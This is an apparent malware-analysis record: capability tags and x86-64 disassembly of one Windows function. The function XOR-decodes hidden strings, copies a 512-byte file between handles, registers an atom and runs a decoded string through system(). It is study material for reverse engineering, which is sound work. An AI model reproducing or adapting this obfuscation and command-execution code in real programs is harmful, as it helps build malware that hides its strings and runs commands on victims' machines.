Function at 0x140045100
Capabilities:
Encode data using xor
Execute command
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rdi
push r14
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov eax, dword [0x14014f668]
xor r14d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r14d
movups xmm0, xmmword [0x14014f648]
mov dword [rbp + 0x1d], eax
movups xmm1, xmmword [0x14014f658]
movzx eax, word [0x14014f66c]
movups xmmword [rbp - 3], xmm0
mov word [rbp + 0x21], ax
movups xmmword [rbp + 0xd], xmm1
jl 0x140044f5c
movdqa xmm5, xmmword [0x14014fbe0]
lea rdx, [rbp - 3]
movdqa xmm4, xmmword [0x14014fd00]
movaps xmmword [r11 - 0x28], xmm6
movdqa xmm6, xmmword [0x14014fc00]
movaps xmmword [r11 - 0x38], xmm7
movdqa xmm7, xmmword [0x14014fc40]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x10
jl 0x140044e60
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x13
jge 0x140044fa1
movsxd rax, ecx
lea r8, [rbp - 3]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x31
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x37
xor word [r8 - 2], ax
cmp ecx, 0x13
jl 0x140044f70
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp - 3]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400450ea
mov edx, dword [0x14014f0c8]
mov eax, reloc.WLDAP32.dll_Ordinal_46
movzx ecx, word [0x14014f0cc]
xor r9d, r9d
movups xmm0, xmmword [0x14014f0b8]
mov dword [rbp - 9], edx
xor cx, 0x41
xor word [rbp - 7], 0x40
xor dx, 0x3f
movups xmmword [rbp - 0x19], xmm0
xor word [rbp - 0x17], 0x38
xor r8d, r8d
xor word [rbp - 0x15], 0x39
xor word [rbp - 0x13], 0x3a
xor word [rbp - 0x11], 0x3b
xor word [rbp - 0xf], 0x3c
xor word [rbp - 0xd], 0x3d
xor word [rbp - 0xb], 0x3e
mov word [rbp - 9], dx
mov edx, 0x80000000
mov word [rbp - 5], cx
lea rcx, [rbp - 0x19]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0xc8], rbx
mov word [rbp - 0x19], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400450e2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x1400450e2
mov ecx, eax
mov qword [rsp + 0xd0], rsi
call fcn.1400cd2b0
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400450c8
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xc8]
add rsp, 0xa0
pop r14
pop rdi
pop rbp
ret
push rbx
sub rsp, 0x50
xor ebx, ebx
mov dword [rsp + 0x20], 0xecefe1ee
mov ecx, ebx
mov dword [rsp + 0x24], 0xe0fbfdfb
mov word [rsp + 0x28], 0xe0
mov byte [rsp + 0x2a], 1
nop word [rax + rax]
lea eax, [rcx - 0x74]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 9
jb 0x140045130
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2a], bl
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14014fd80]
movdqa xmm1, xmmword [0x14014ff40]
movdqu xmmword [rsp + 0x2b], xmm0
mov dword [rsp + 0x4b], 0x100e1e0
movdqu xmmword [rsp + 0x3b], xmm1
nop
lea eax, [rbx - 0x74]
xor byte [rsp + rbx + 0x2b], al
inc rbx
cmp rbx, 0x22
jb 0x140045180
lea rcx, [rsp + 0x2b]
mov byte [rsp + 0x4e], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x50
pop rbx
jmp 0x140044de0